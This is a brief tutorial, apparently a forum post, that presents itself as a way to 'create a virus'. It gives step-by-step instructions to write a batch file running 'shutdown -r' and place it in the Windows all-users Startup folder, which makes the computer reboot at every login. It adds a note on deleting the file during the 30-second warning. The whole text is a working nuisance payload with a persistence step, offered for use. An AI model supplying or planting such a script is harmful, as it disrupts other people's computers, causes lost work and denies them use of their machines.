Tutorial on how to create a virus.
Here are the steps that you should follow:
1.open notepad

2.type in the following:
shutdown -r

3.save it as any name you want).bat

4.save file in
C:\Documents and Settings\All Users\Start Menu\Programs\Startup

5. to stop restarting pc again and again delete the file from above directory...

you are thinking how any one will able to delete file if computer restarts, don't worry it gives you 30sec warning before restarting.